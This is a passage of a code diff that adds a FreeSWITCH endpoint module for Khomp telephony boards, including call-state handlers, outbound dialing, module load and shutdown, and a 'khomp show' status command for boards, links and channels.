+    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s CHANNEL ROUTING\n", switch_channel_get_name(channel));
+
+    return SWITCH_STATUS_SUCCESS;
+}
+
+switch_status_t channel_on_execute(switch_core_session_t *session)
+{
+
+    switch_channel_t *channel = NULL;
+    KhompPvt *tech_pvt = NULL;
+
+    channel = switch_core_session_get_channel(session);
+    assert(channel != NULL);
+
+    tech_pvt = static_cast<KhompPvt*>(switch_core_session_get_private(session));
+    assert(tech_pvt != NULL);
+
+    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s CHANNEL EXECUTE\n", switch_channel_get_name(channel));
+
+
+    return SWITCH_STATUS_SUCCESS;
+}
+
+switch_status_t channel_on_hangup(switch_core_session_t *session)
+{
+    switch_channel_t *channel = NULL;
+    KhompPvt *tech_pvt = NULL;
+
+    channel = switch_core_session_get_channel(session);
+    assert(channel != NULL);
+
+    tech_pvt = static_cast<KhompPvt*>(switch_core_session_get_private(session));
+    assert(tech_pvt != NULL);
+
+    switch_clear_flag_locked(tech_pvt, TFLAG_IO);
+    switch_clear_flag_locked(tech_pvt, TFLAG_VOICE);
+    //switch_thread_cond_signal(tech_pvt->_cond);
+
+    if (tech_pvt->_read_codec.implementation) {
+        switch_core_codec_destroy(&tech_pvt->_read_codec);
+    }
+
+    if (tech_pvt->_write_codec.implementation) {
+        switch_core_codec_destroy(&tech_pvt->_write_codec);
+    }
+
+    /* Make the channel available again */
+    tech_pvt->session(NULL);
+    
+    try 
+    {
+        Globals::_k3lapi.command(tech_pvt->_KDeviceId, tech_pvt->_KChannelId, CM_DISCONNECT, NULL);
+    }
+    catch(K3LAPI::failed_command & e)
+    {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "WE COULD NOT HANGUP THE CHANNEL! rc:%d\n", e.rc);
+        return SWITCH_STATUS_TERM;
+    }
+    
+    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "%s Originator Hangup.\n", switch_channel_get_name(channel));
+    switch_mutex_lock(Globals::_mutex);
+    Globals::_calls--;
+    if (Globals::_calls < 0) {
+        Globals::_calls = 0;
+    }
+    switch_mutex_unlock(Globals::_mutex);
+
+    return SWITCH_STATUS_SUCCESS;
+}
+
+switch_status_t channel_on_destroy(switch_core_session_t *session)
+{
+    /* Doesn't do anything for now */
+    
+	return SWITCH_STATUS_SUCCESS;
+}
+
+switch_status_t channel_kill_channel(switch_core_session_t *session, int sig)
+{
+    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "CHANNEL KILL, kill = %d\n", sig);
+    switch_channel_t *channel = NULL;
+    KhompPvt *tech_pvt = NULL;
+
+    channel = switch_core_session_get_channel(session);
+    assert(channel != NULL);
+
+    tech_pvt = static_cast<KhompPvt*>(switch_core_session_get_private(session));
+    assert(tech_pvt != NULL);
+
+    switch (sig) {
+    case SWITCH_SIG_KILL:
+        switch_clear_flag_locked(tech_pvt, TFLAG_IO);
+        switch_clear_flag_locked(tech_pvt, TFLAG_VOICE);
+        switch_channel_hangup(channel, SWITCH_CAUSE_NORMAL_CLEARING);
+        //switch_thread_cond_signal(tech_pvt->_cond);
+        break;
+    case SWITCH_SIG_BREAK:
+        switch_set_flag_locked(tech_pvt, TFLAG_BREAK);
+        break;
+    default:
+        break;
+    }
+
+    return SWITCH_STATUS_SUCCESS;
+}
+
+switch_status_t channel_on_exchange_media(switch_core_session_t *session)
+{
+    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "CHANNEL LOOPBACK\n");
+    return SWITCH_STATUS_SUCCESS;
+}
+
+switch_status_t channel_on_soft_execute(switch_core_session_t *session)
+{
+    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "CHANNEL TRANSMIT\n");
+    return SWITCH_STATUS_SUCCESS;
+}
+
+switch_status_t channel_send_dtmf(switch_core_session_t *session, const switch_dtmf_t *dtmf)
+{
+    KhompPvt *tech_pvt = static_cast<KhompPvt*>(switch_core_session_get_private(session));
+    switch_assert(tech_pvt != NULL);
+
+    return SWITCH_STATUS_SUCCESS;
+}
+
+switch_status_t channel_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id)
+{
+    switch_channel_t *channel = NULL;
+    KhompPvt *tech_pvt = NULL;
+    //switch_time_t started = switch_time_now();
+    //unsigned int elapsed;
+    switch_byte_t *data;
+
+    channel = switch_core_session_get_channel(session);
+    assert(channel != NULL);
+
+    tech_pvt = static_cast<KhompPvt*>(switch_core_session_get_private(session));
+    assert(tech_pvt != NULL);
+    tech_pvt->_read_frame.flags = SFF_NONE;
+    *frame = NULL;
+
+    while (switch_test_flag(tech_pvt, TFLAG_IO)) {
+
+        if (switch_test_flag(tech_pvt, TFLAG_BREAK)) {
+            switch_clear_flag(tech_pvt, TFLAG_BREAK);
+            goto cng;
+        }
+
+        if (!switch_test_flag(tech_pvt, TFLAG_IO)) {
+            return SWITCH_STATUS_FALSE;
+        }
+
+        if (!tech_pvt->_read_frame.datalen) {
+            continue;
+        }
+        *frame = &tech_pvt->_read_frame;
+#ifdef BIGENDIAN
+        if (switch_test_flag(tech_pvt, TFLAG_LINEAR)) {
+            switch_swap_linear((*frame)->data, (int) (*frame)->datalen / 2);
+        }
+#endif
+        return SWITCH_STATUS_SUCCESS;
+
+        switch_cond_next();
+    }
+
+
+    return SWITCH_STATUS_FALSE;
+
+  cng:
+    data = (switch_byte_t *) tech_pvt->_read_frame.data;
+    data[0] = 65;
+    data[1] = 0;
+    tech_pvt->_read_frame.datalen = 2;
+    tech_pvt->_read_frame.flags = SFF_CNG;
+    *frame = &tech_pvt->_read_frame;
+    return SWITCH_STATUS_SUCCESS;
+
+}
+
+switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id)
+{
+    switch_channel_t *channel = NULL;
+    KhompPvt *tech_pvt = NULL;
+    //switch_frame_t *pframe;
+
+    channel = switch_core_session_get_channel(session);
+    assert(channel != NULL);
+
+    tech_pvt = static_cast<KhompPvt*>(switch_core_session_get_private(session));
+    assert(tech_pvt != NULL);
+
+    if (!switch_test_flag(tech_pvt, TFLAG_IO)) {
+        return SWITCH_STATUS_FALSE;
+    }
+#ifdef BIGENDIAN
+    if (switch_test_flag(tech_pvt, TFLAG_LINEAR)) {
+        switch_swap_linear(frame->data, (int) frame->datalen / 2);
+    }
+#endif
+
+
+    return SWITCH_STATUS_SUCCESS;
+
+}
+
+switch_status_t channel_answer_channel(switch_core_session_t *session)
+{
+    KhompPvt *tech_pvt;
+    switch_channel_t *channel = NULL;
+
+    channel = switch_core_session_get_channel(session);
+    assert(channel != NULL);
+
+    tech_pvt = static_cast<KhompPvt*>(switch_core_session_get_private(session));
+    assert(tech_pvt != NULL);
+
+    return SWITCH_STATUS_SUCCESS;
+}
+
+
+switch_status_t channel_receive_message(switch_core_session_t *session, switch_core_session_message_t *msg)
+{
+    switch_channel_t *channel;
+    KhompPvt *tech_pvt;
+
+    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "When the fuck is this called?.\n");
+
+    channel = switch_core_session_get_channel(session);
+    assert(channel != NULL);
+
+    tech_pvt = (KhompPvt *) switch_core_session_get_private(session);
+    assert(tech_pvt != NULL);
+
+    switch (msg->message_id) {
+    case SWITCH_MESSAGE_INDICATE_ANSWER:
+        {
+            channel_answer_channel(session);
+        }
+        break;
+    default:
+        break;
+    }
+
+    return SWITCH_STATUS_SUCCESS;
+}
+
+/*!
+  \brief Make sure when you have 2 sessions in the same scope that you pass the appropriate one to the routines
+  that allocate memory or you will have 1 channel with memory allocated from another channel's pool!
+*/
+switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
+                                                    switch_caller_profile_t *outbound_profile,
+                                                    switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags)
+{
+
+    char *argv[3] = { 0 };
+    int argc = 0;
+    KhompPvt *tech_pvt;
+    switch_call_cause_t cause = SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
+
+    /* We first need to find an available KhompPvt object to serve the session */
+    
+    if ((*new_session = switch_core_session_request(Globals::_khomp_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) != 0) {
+        switch_channel_t *channel;
+        switch_caller_profile_t *caller_profile;
+        char name[128];
+
+        if (outbound_profile) 
+        {
+            snprintf(name, sizeof(name), "%s", outbound_profile->destination_number);
+            
+            if ((argc = switch_separate_string(outbound_profile->destination_number, '/', argv, (sizeof(argv) / sizeof(argv[0])))) < 3)
+            {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid dial string. Should be on the format:[Khomp/BoardID (or A for first free board)/CHANNEL (or A for first free channel)]\n");
+                switch_core_session_destroy(new_session);
+                return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
+            }
+
+            tech_pvt = KhompPvt::find_channel(name, *new_session, &cause);
+
+            if(tech_pvt == NULL || cause != SWITCH_CAUSE_SUCCESS)
+            {
+                switch_core_session_destroy(new_session);
+                return cause;
+            }
+                    
+            switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Dialing to %s out from Board:%u, Channel:%u.\n",
+                                                                argv[2],
+                                                                tech_pvt->_KDeviceId,
+                                                                tech_pvt->_KChannelId);
+        }
+        else
+        {
+            switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Doh! no caller profile\n");
+            switch_core_session_destroy(new_session);
+            return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
+        }
+        
+        switch_core_session_add_stream(*new_session, NULL);
+        channel = switch_core_session_get_channel(*new_session);
+        tech_init(tech_pvt, *new_session);
+
+        snprintf(name, sizeof(name), "Khomp/%d/%d/%s", tech_pvt->_KDeviceId, tech_pvt->_KChannelId, argv[2]);
+        switch_channel_set_name(channel, name);
+        
+        caller_profile = switch_caller_profile_clone(*new_session, outbound_profile);
+        switch_channel_set_caller_profile(channel, caller_profile);
+        tech_pvt->_caller_profile = caller_profile;
+
+        switch_channel_set_flag(channel, CF_OUTBOUND);
+        switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
+        switch_channel_set_state(channel, CS_INIT);
+
+        try 
+        {
+            /* Lets make the call! */
+            char params[ 255 ];
+            snprintf(params, sizeof(params), "dest_addr=\"%s\" orig_addr=\"%s\"", argv[2], outbound_profile->caller_id_number);
+            switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "We are calling with params: %s.\n", params);
+            Globals::_k3lapi.command(tech_pvt->_KDeviceId,tech_pvt->_KChannelId, CM_MAKE_CALL, params); 
+        }
+        catch(K3LAPI::failed_command & e)
+        {
+            switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Could not place call! Cause: code%x and rc%d.\n", e.code, e.rc);
+            switch_core_session_destroy(new_session);
+            return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
+        }
+
+        return SWITCH_CAUSE_SUCCESS;
+    }
+
+    return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
+
+}
+
+switch_status_t channel_receive_event(switch_core_session_t *session, switch_event_t *event)
+{
+    struct KhompPvt *tech_pvt = static_cast<KhompPvt*>(switch_core_session_get_private(session));
+    char *body = switch_event_get_body(event);
+    switch_assert(tech_pvt != NULL);
+
+    if (!body) {
+        body = (char *)"";
+    }
+
+    return SWITCH_STATUS_SUCCESS;
+}
+
+
+
+
+SWITCH_MODULE_LOAD_FUNCTION(mod_khomp_load)
+{
+
+    Globals::_module_pool = pool;
+
+    /* start config system! */
+    Opt::initialize();
+    
+    Opt::obtain();
+
+    //load_config();
+
+
+    /* 
+       Spawn our k3l global var that will be used along the module
+       for sending info to the boards
+    */
+
+    /* Start the API and connect to KServer */
+    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Starting K3L...\n");
+    try {
+        Globals::_k3lapi.start();
+        KhompPvt::initialize();
+    } catch (K3LAPI::start_failed & e) {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "K3L not started. Reason:%s.\n", e.msg.c_str());
+        return SWITCH_STATUS_TERM;
+    }
+    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "K3L started.\n");
+    
+    k3lRegisterEventHandler( khomp_event_callback );
+    k3lRegisterAudioListener (NULL, khomp_audio_listener);
+
+    *module_interface = switch_loadable_module_create_module_interface(pool, "mod_khomp");
+    Globals::_khomp_endpoint_interface = static_cast<switch_endpoint_interface_t*>(switch_loadable_module_create_interface(*module_interface, SWITCH_ENDPOINT_INTERFACE));
+    Globals::_khomp_endpoint_interface->interface_name = "khomp";
+    Globals::_khomp_endpoint_interface->io_routines = &khomp_io_routines;
+    Globals::_khomp_endpoint_interface->state_handler = &khomp_state_handlers;
+
+    /* Add all the specific API functions */
+    SWITCH_ADD_API(Globals::_api_interface, "khomp", "Khomp Menu", khomp, KHOMP_SYNTAX);
+
+    /* indicate that the module should continue to be loaded */
+    return SWITCH_STATUS_SUCCESS;
+}
+
+/*
+SWITCH_MODULE_RUNTIME_FUNCTION(mod_khomp_runtime)
+{
+    return SWITCH_STATUS_TERM;
+}
+*/
+
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_khomp_shutdown)
+{
+    int x = 0;
+
+    Globals::_running = -1;
+
+    while (Globals::_running) {
+        if (x++ > 100) {
+            break;
+        }
+        switch_yield(20000);
+    }
+    
+    /* Free dynamically allocated strings */
+    switch_safe_free(Opt::_dialplan);
+    switch_safe_free(Opt::_codec_string);
+    switch_safe_free(Opt::_codec_rates_string);
+    switch_safe_free(Opt::_ip);
+
+    /* Finnish him! */
+    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Stopping K3L...\n");
+    KhompPvt::terminate();
+    Globals::_k3lapi.stop();
+    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "the K3L API has been stopped!\n");
+    
+    return SWITCH_STATUS_SUCCESS;
+}
+
+/*!
+   \brief khomp API definition
+   TODO: Add as xml modifier
+*/
+SWITCH_STANDARD_API(khomp)
+{
+    char *argv[10] = { 0 };
+    int argc = 0;
+    void *val;
+    char *myarg = NULL;
+    switch_status_t status = SWITCH_STATUS_SUCCESS;
+
+    /* We should not ever get a session here */
+    if (session) return status;
+
+    if (switch_strlen_zero(cmd) || !(myarg = strdup(cmd))) {
+        stream->write_function(stream, "USAGE: %s\n", KHOMP_SYNTAX);
+        return SWITCH_STATUS_FALSE;
+    }
+
+    if ((argc = switch_separate_string(myarg, ' ', argv, (sizeof(argv) / sizeof(argv[0])))) < 1) {
+        stream->write_function(stream, "USAGE: %s\n", KHOMP_SYNTAX);
+        goto done;
+    }
+
+    /* Below show ... */
+    if (argv[0] && !strncasecmp(argv[0], "show", 4)) {
+        /* Show the API summary and information */
+        if (argv[1] && !strncasecmp(argv[1], "info", 4)) {
+            printSystemSummary(stream);
+        }
+        /* Show all the links and their status */
+        if (argv[1] && !strncasecmp(argv[1], "links", 5)) {
+            /* TODO: Let show specific boards/links */
+            printLinks(stream, NULL, NULL);
+        }
+        // Show all channels from all boards and all links
+        if (argv[1] && !strncasecmp(argv[1], "channels", 8)) {
+            /* TODO: Let show specific channels */
+            printChannels(stream, NULL, NULL);
+        }
+
+    } else {
+        stream->write_function(stream, "USAGE: %s\n", KHOMP_SYNTAX);
+    }
+
+done:
+    switch_safe_free(myarg);
+    return status;
+
+}
+
+void printChannels(switch_stream_handle_t* stream, unsigned int device, unsigned int link) {
+    if (!device) {
+        // Print all channels from all boards and links
+        stream->write_function(stream, "|--------- Khomp ----------|\n");
+        stream->write_function(stream, "| Board | Channel | Status |\n");
+        for (int board=0 ; board < Globals::_k3lapi.device_count() ; board++) {
+            for (int channel=0 ; channel < Globals::_k3lapi.channel_count(board) ; channel++) {
+                try {
+                    K3L_CHANNEL_CONFIG channelConfig;
+                    channelConfig = Globals::_k3lapi.channel_config( board, channel );
+                }
+                catch (...){
+                    stream->write_function(stream, "OOOPSS. Something went wrong, cleanup this mess!\n");
+                    return;
+                }
+                K3L_CHANNEL_STATUS status;
+                if (k3lGetDeviceStatus( board, channel + ksoChannel, &status, sizeof(status) ) != ksSuccess) {
+                    stream->write_function(stream, "Damn, again something bad happened.\n");
+                    return;
+                }
+                switch(status.CallStatus) {
+                    case kcsFree: 
+                        stream->write_function(stream, "| %6u| %8u| Free |\n", board, channel);
+                        break;
+                    case kcsOutgoing: 
+                        stream->write_function(stream, "| %6u| %8u| Outgoing |\n", board, channel);
+                        break;
+                    case kcsIncoming: 
+                        stream->write_function(stream, "| %6u| %8u| Incoming |\n", board, channel);
+                        break;
+                    default:
+                        stream->write_function(stream, "| %6u| %8u| UNKNOWN : %x |\n", board, channel, status.AddInfo);
+                }
+                        
+            }
+        }
+        stream->write_function(stream, "----------------------------\n");
+    }
+}
+
+void printLinks(switch_stream_handle_t* stream, unsigned int device, unsigned int link)
+{
+
+    stream->write_function(stream, "___________________________________________\n");
+    stream->write_function(stream, "|--------------Khomp Links----------------|\n");
+    stream->write_function(stream, "|----Board----|----Link----|----Status----|\n");
+
+    // We want to see all links from all devices
+    if (!device) {
+        for(int device=0 ; device < Globals::_k3lapi.device_count() ; device++)
+        {
+            K3L_LINK_CONFIG & config = Globals::_k3lapi.link_config(device, link);
+            K3L_LINK_STATUS   status;
+
+            for(int link=0 ; link < Globals::_k3lapi.link_count(device) ; link++)
+            {
+                const char * E1Status = "";
+                if (k3lGetDeviceStatus (device, link + ksoLink, &status, sizeof(status)) == ksSuccess)
+                {
+                    switch (config.Signaling)
+                    {
+                        case ksigInactive:
+                            E1Status = "[ksigInactive]";
+                            break;
+
+                        case ksigAnalog:
+                            E1Status = "[ksigAnalog]";
+                            break;
+
+                        case ksigSIP:
+                            E1Status = "[ksigSIP]";
+                            break;
+
+                        case ksigOpenCAS:
+                        case ksigOpenR2:
+                        case ksigR2Digital:
+                        case ksigUserR2Digital:
+                        case ksigOpenCCS:
+                        case ksigPRI_EndPoint:
+                        case ksigPRI_Network:
+                        case ksigPRI_Passive:
+                        case ksigLineSide:
+                        case ksigCAS_EL7:
+                        case ksigAnalogTerminal:
+                            switch (status.E1) {
+
+                                case (kesOk):
+                                    E1Status = "kesOk";
+                                    break;
+                                case (kesSignalLost):
+                                    E1Status = "kesSignalLost";
+                                    break;
+                                case (kesNetworkAlarm):
+                                    E1Status = "kesNetworkAlarm";
+                                    break;
+                                case (kesFrameSyncLost):
+                                    E1Status = "kesFrameSyncLost";
+                                    break;
+                                case (kesMultiframeSyncLost):
+                                    E1Status = "kesMultiframeSyncLost";
+                                    break;
+                                case (kesRemoteAlarm):
+                                    E1Status = "kesRemoteAlarm";
+                                    break;
+                                case (kesHighErrorRate):
+                                    E1Status = "kesHighErrorRate";
+                                    break;
+                                case (kesUnknownAlarm):
+                                    E1Status = "kesUnknownAlarm";
+                                    break;
+                                case (kesE1Error):
+                                    E1Status = "kesE1Error";
+                                    break;
+                                case (kesNotInitialized):
+                                    E1Status = "kesNotInitialized";
+                                    break;
+                                default:
+                                    E1Status = "UnknownE1Status";
+                            }
+                            break;
+                        default:
+                            E1Status = "NotImplementedBoard";
+                    }
+                }
+                stream->write_function(stream, "|%13d|%12d|%s|\n"
+                                        , device
+                                        , link
+                                        , E1Status);
+            }
+        }
+    }
+    stream->write_function(stream, "-------------------------------------------\n");
+}
+
+
+void printSystemSummary(switch_stream_handle_t* stream) {
+
+    K3L_API_CONFIG apiCfg;
+
+    stream->write_function(stream," ------------------------------------------------------------------\n");
+    stream->write_function(stream, "|---------------------- Khomp System Summary ----------------------|\n");
+    stream->write_function(stream, "|------------------------------------------------------------------|\n");
+
+    if (k3lGetDeviceConfig(-1, ksoAPI, &apiCfg, sizeof(apiCfg)) == ksSuccess)
+    {
+        stream->write_function(stream, "| K3L API %d.%d.%d [m.VPD %d] - %-38s |\n"
+                     , apiCfg.MajorVersion , apiCfg.MinorVersion , apiCfg.BuildVersion
+                     , apiCfg.VpdVersionNeeded , apiCfg.StrVersion);
+    }
+
+    for (unsigned int i = 0; i < Globals::_k3lapi.device_count(); i++)
+    {
+        K3L_DEVICE_CONFIG & devCfg = Globals::_k3lapi.device_config(i);
+
+        stream->write_function(stream, " ------------------------------------------------------------------\n");
+
+        switch (Globals::_k3lapi.device_type(i))
+        {
+            /* E1 boards */
+            case kdtE1:
+            case kdtConf:
+            case kdtPR:
+            case kdtE1GW:
+            case kdtE1IP:
+            case kdtE1Spx:
+            case kdtGWIP:
+            case kdtFXS:
+            case kdtFXSSpx:
+            {
+                K3L_E1600A_FW_CONFIG dspAcfg;
+                K3L_E1600B_FW_CONFIG dspBcfg;
+
+                if ((k3lGetDeviceConfig(i, ksoFirmware + kfiE1600A, &dspAcfg, sizeof(dspAcfg)) == ksSuccess) &&
+                    (k3lGetDeviceConfig(i, ksoFirmware + kfiE1600B, &dspBcfg, sizeof(dspBcfg)) == ksSuccess))
+                {
+                    stream->write_function(stream, "| [[ %02d ]] %s, serial '%04d', %02d channels, %d links.|\n"
+                                , i , "E1" , atoi(devCfg.SerialNumber) , devCfg.ChannelCount , devCfg.LinkCount);
+                    stream->write_function(stream, "| * DSP A: %s, DSP B: %s - PCI bus: %02d, PCI slot: %02d %s|\n"
+                                , dspAcfg.DspVersion , dspBcfg.DspVersion , devCfg.PciBus , devCfg.PciSlot
+                                , std::string(18 - strlen(dspAcfg.DspVersion) - strlen(dspBcfg.DspVersion), ' ').c_str());
+                    stream->write_function(stream, "| * %-62s |\n" , dspAcfg.FwVersion);
+                    stream->write_function(stream, "| * %-62s |\n" , dspBcfg.FwVersion);
+
+                }
+
+                break;
+            }
+
+            /* analog boards */
+            case kdtFXO:
+            case kdtFXOVoIP:
+            {
+                K3L_FXO80_FW_CONFIG dspCfg;
+
+                if (k3lGetDeviceConfig(i, ksoFirmware + kfiFXO80, &dspCfg, sizeof(dspCfg)) == ksSuccess)
+                {
+                    stream->write_function(stream, "| [[ %02d ]] %s, serial '%04d', %02d channels. %s|\n"
+                                , i , "KFXO80" , atoi(devCfg.SerialNumber) , devCfg.ChannelCount
+                                , std::string(26 - 6, ' ').c_str());
+                    stream->write_function(stream, "| * DSP: %s - PCI bus: %02d, PCI slot: %02d%s|\n"
+                                , dspCfg.DspVersion , devCfg.PciBus , devCfg.PciSlot
+                                , std::string(30 - strlen(dspCfg.DspVersion), ' ').c_str());
+                    stream->write_function(stream, "| * %-62s |\n" , dspCfg.FwVersion);
+                }
+
+            }
+
+            case kdtGSM:
+            case kdtGSMSpx:
+            {
+                K3L_GSM40_FW_CONFIG dspCfg;
+
+                if (k3lGetDeviceConfig(i, ksoFirmware + kfiGSM40, &dspCfg, sizeof(dspCfg)) == ksSuccess)
+                {
+                    stream->write_function(stream, "| [[ %02d ]] %s, serial '%04d', %02d channels. %s|\n"
+                        , i , "KGSM" , atoi(devCfg.SerialNumber) , devCfg.ChannelCount
+                        , std::string(26 - 4, ' ').c_str());
+
+                    stream->write_function(stream, "| * DSP: %s - PCI bus: %02d, PCI slot: %02d%s|\n"
+                                , dspCfg.DspVersion , devCfg.PciBus , devCfg.PciSlot
+                                , std::string(30 - strlen(dspCfg.DspVersion), ' ').c_str());
+
+                    stream->write_function(stream, "| * %-62s |\n" , dspCfg.FwVersion);
+                }
+
+                break;
+            }
+            default:
+                stream->write_function(stream, "| [[ %02d ]] Unknown type '%02d'! Please contact Khomp support for help! |\n"
+                    , i , Globals::_k3lapi.device_type(i));
+                break;
+        }
+    }
+
+    stream->write_function(stream, " ------------------------------------------------------------------\n");
+}
+/* End of helper functions */
+
+
+/* Create a new channel on incoming call */
+KLibraryStatus khomp_channel_from_event(unsigned int KDeviceId, unsigned int KChannel, K3L_EVENT * event)
+{
+	switch_core_session_t *session = NULL;
+	KhompPvt *tech_pvt = NULL;
+	switch_channel_t *channel = NULL;
+	char name[128];
+	
+	if (!(session = switch_core_session_request(Globals::_khomp_endpoint_interface, SWITCH_CALL_DIRECTION_INBOUND, NULL))) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Initilization Error!\n");
+		return ksFail;
+	}
+	
+	switch_core_session_add_stream(session, NULL);
+	
+	tech_pvt = KhompPvt::khompPvt(KDeviceId, KChannel);
+	assert(tech_pvt != NULL);
+	channel = switch_core_session_get_channel(session);
+	if (tech_init(tech_pvt, session) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Initilization Error!\n");
+		switch_core_session_destroy(&session);
+		return ksFail;
+	}
+	
+
+    /* Get all data from event */
+    std::string cidNum; 
+    std::string destination_number; 
+    try
+    {
+        cidNum = Globals::_k3lapi.get_param(event, "orig_addr");
+        destination_number = Globals::_k3lapi.get_param(event, "dest_addr");
+    }
+    catch ( K3LAPI::get_param_failed & err )
+    {
+        // TODO: Can we set NULL variables? What should we do if this fails?
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Could not get param %s on channel %u, board %u.\n", err.name.c_str(), KChannel, KDeviceId);
+    }
+
+	/*if (switch_strlen_zero(sigmsg->channel->caller_data.cid_num.digits)) {
+		if (!switch_strlen_zero(sigmsg->channel->caller_data.ani.digits)) {
+			switch_set_string(sigmsg->channel->caller_data.cid_num.digits, sigmsg->channel->caller_data.ani.digits);
+		} else {
+			switch_set_string(sigmsg->channel->caller_data.cid_num.digits, sigmsg->channel->chan_number);
+		}
+	}
+    */
+
+    /* Set the caller profile - Look at documentation */
+	tech_pvt->_caller_profile = switch_caller_profile_new(switch_core_session_get_pool(session),
+														 "Khomp",
+														 "XML", // TODO: Dialplan module to use?
+                                                         NULL,
+                                                         NULL,
+														 NULL,
+                                                         cidNum.c_str(),
+                                                         NULL,
+                                                         NULL,
+														 (char *) modname,
+														 "default", // TODO: Context to look for on the dialplan?
+														 destination_number.c_str());
+
+	assert(tech_pvt->_caller_profile != NULL);
+    /* END */
+
+    /* WHAT??? - Look at documentation */
+    //switch_set_flag(tech_pvt->caller_profile, SWITCH_CPF_NONE);
+    /* END */
+	
+    /* */
+	snprintf(name, sizeof(name), "Khomp/%u/%u/%s", KDeviceId, KChannel, tech_pvt->_caller_profile->destination_number);
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Connect inbound channel %s\n", name);
+	switch_channel_set_name(channel, name);
+	switch_channel_set_caller_profile(channel, tech_pvt->_caller_profile);
+    /* END */
+
+		
+	switch_channel_set_state(channel, CS_INIT);
+	if (switch_core_session_thread_launch(session) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Error spawning thread\n");
+		switch_core_session_destroy(&session);
+		return ksFail;
+	}
+
+    /* WHAT?
+	if (zap_channel_add_token(sigmsg->channel, switch_core_session_get_uuid(session), 0) != ZAP_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Error adding token\n");
+		switch_core_session_destroy(&session);
+		return ZAP_FAIL;
+	}
+    */
+
+    /* Set the session to the channel */
+    KhompPvt::khompPvt(KDeviceId, KChannel)->session(session);
+
+    return ksSuccess;
+}
+
+int32 Kstdcall khomp_event_callback(int32 obj, K3L_EVENT * e)
+{                
+    /* TODO: How do we make sure channels inside FreeSWITCH only change to valid states on K3L? */
+
+    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "New Khomp Event: on %u/%u: %x\n", e->DeviceId, obj, e->Code);
+    
+    switch(e->Code)
+    {
+        case EV_NEW_CALL:   
+            switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "New call on %u to %s. [EV_NEW_CALL]\n", obj, Globals::_k3lapi.get_param(e, "dest_addr").c_str());
+            if (khomp_channel_from_event(e->DeviceId, obj, e) != ksSuccess )
+            {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Something bad happened while getting channel session. Device:%u/Channel:%u. [EV_CONNECT]\n", e->DeviceId, obj);
+                return ksFail;
+            }
+            try 
+            {
+                Globals::_k3lapi.command(e->DeviceId, obj, CM_RINGBACK, NULL);
+                Globals::_k3lapi.command(e->DeviceId, obj, CM_CONNECT, NULL); 
+            }
+            catch (K3LAPI::failed_command & err)
+            {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Could not set board channel status! [EV_NEW_CALL]\n");
+            }
+            break;
+        case EV_DISCONNECT:
+            {
+                switch_core_session_t * session = KhompPvt::khompPvt(e->DeviceId, obj)->session();
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Called party dropped the call on: %u. Releasing channel. [EV_DISCONNECT]\n", obj);
+                if(session == NULL)
+                    break;
+
+                if (channel_on_hangup(session) != SWITCH_STATUS_SUCCESS)
+                    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Could not hangup channel: %u on board %u. Releasing board channel anyway. [EV_DISCONNECT]\n", obj, e->DeviceId);
+                try
+                {
+                    /* Stop the audio callbacks */
+                    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Stopping audio callbacks ...\n");
+                    KhompPvt::khompPvt(e->DeviceId, obj)->stop_listen();
+                    KhompPvt::khompPvt(e->DeviceId, obj)->stop_stream();
+                    KhompPvt::khompPvt(e->DeviceId, obj)->session(NULL);
